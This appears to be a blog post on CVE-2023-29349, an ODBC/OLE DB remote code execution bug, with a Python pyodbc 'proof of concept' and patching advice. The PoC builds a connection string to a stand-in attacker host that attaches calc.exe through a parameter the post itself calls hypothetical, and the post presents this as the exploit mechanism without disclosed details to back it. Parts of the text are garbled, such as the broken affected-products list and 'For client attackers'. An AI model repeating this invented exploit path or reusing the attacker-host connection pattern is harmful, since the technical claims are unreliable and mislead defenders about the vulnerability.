CVE-2023-29349 - Deep Dive into Microsoft ODBC and OLE DB Remote Code Execution Vulnerability

Microsoft is no stranger to critical security flaws, but CVE-2023-29349 stands out due to how widespread and dangerous it can be. This vulnerability affects Microsoft’s ODBC and OLE DB data access technologies, which are present in everyday business applications and countless custom software solutions. In this post, we’ll break down what this bug is, how attackers exploit it, and provide a simple demonstration. We’ll also share official references and recommendations for defending your systems.

What is CVE-2023-29349?

Microsoft describes CVE-2023-29349 as a Remote Code Execution (RCE) vulnerability in Microsoft ODBC and OLE DB providers for SQL Server. Simply put, the bug allows an attacker to run malicious code on a vulnerable machine—sometimes with few user actions required.

Microsoft ODBC Driver for SQL Server

- Microsoft SQL Server (when accessed via OLE DB/ODBC)

The official advisory was released in June 2023.

How Does the Attack Work?

The core issue relates to improper handling of database connection strings or user input. When a specially crafted connection string is used, it can trick the OLE DB or ODBC provider into executing code embedded in the input.

While the specific technical details have not been widely disclosed by Microsoft (to prevent mass exploitation), security researchers have observed that a malicious database or a manipulated connection string could trigger exploitation. This is particularly dangerous if an attacker can convince a user to connect to a compromised SQL Server, or if an environment allows users to define their own connection parameters.

Simple Proof of Concept (PoC) Scenario

Let’s walk through a simulated sample illustrating how an attacker might trigger exploitation using a simple Python script with pyodbc.

pyodbc lets you use ODBC connection strings in Python to connect to SQL Server. Malicious payloads can potentially enter via this connection string if the driver or provider is vulnerable.

import pyodbc

# WARNING: DO NOT RUN THIS CODE ON PRODUCTION SYSTEMS!
# For demonstration only. This simulates a malicious connection string.
connection_string = (
    "DRIVER={ODBC Driver 17 for SQL Server};"
    "SERVER=malicious.example.com;"
    "UID=attacker;"
    "PWD=attack;"
    # Hypothetical malicious parameter injected
    "Trusted_Connection=yes;ApplicationIntent=ReadOnly;"
    "AttachDbFileName='C:\\Windows\\system32\\calc.exe'"
)

try:
    # This line may initiate communication with a server controlled by attacker
    conn = pyodbc.connect(connection_string)
except Exception as e:
    print(f"Connection failed: {e}")

What’s happening?

- The attacker sends a specially crafted connection string with extra parameters hoping to trick the ODBC provider.
- In real attacks, the 'AttachDbFileName' or similar fields could be abused for arbitrary file path execution or could trigger loading of a payload file.

Note: Recent patches block these kinds of payloads and will cause the connection to fail if attempted.

If successfully exploited, this bug allows remote attackers to

- Execute arbitrary code on the affected system, often in the context of the SQL service or the calling user.

Install malware, steal data, escalate privileges, or access sensitive resources.

Attackers don’t need physical access—network-based exploitation is possible in environments where OLE DB/ODBC connections are used, especially in scenarios involving untrusted database sources or weak input validation.

Microsoft’s Recommendations and Patch Links

Microsoft released critical security updates in June 2023. You should apply these immediately.

For client attackers: Only connect to trusted servers.

- For server administrators: Ensure that all ODBC and OLE DB drivers are updated to the fixed versions listed in the official Microsoft advisory.
- Review any applications or scripts that take user-supplied connection strings and harden input validation.

References

- Microsoft CVE-2023-29349 Advisory
- Microsoft ODBC and OLE DB documentation
- Security Researcher’s Deep Dive
- List of affected versions

Final Words

CVE-2023-29349 is a powerful reminder of how even trusted infrastructure can have harmful weaknesses. If you manage Windows servers or develop with ODBC/OLE DB, update immediately and review how your apps use connection strings. Never trust user-supplied configuration or database sources unless properly vetted and patched.

Have you patched your drivers yet? It might just save your organization from a breach.


*Security is everyone’s responsibility. Stay patched. Stay alert.*

Timeline

Published on: 06/16/2023 01:15:00 UTC
Last modified on: 06/16/2023 03:19:00 UTC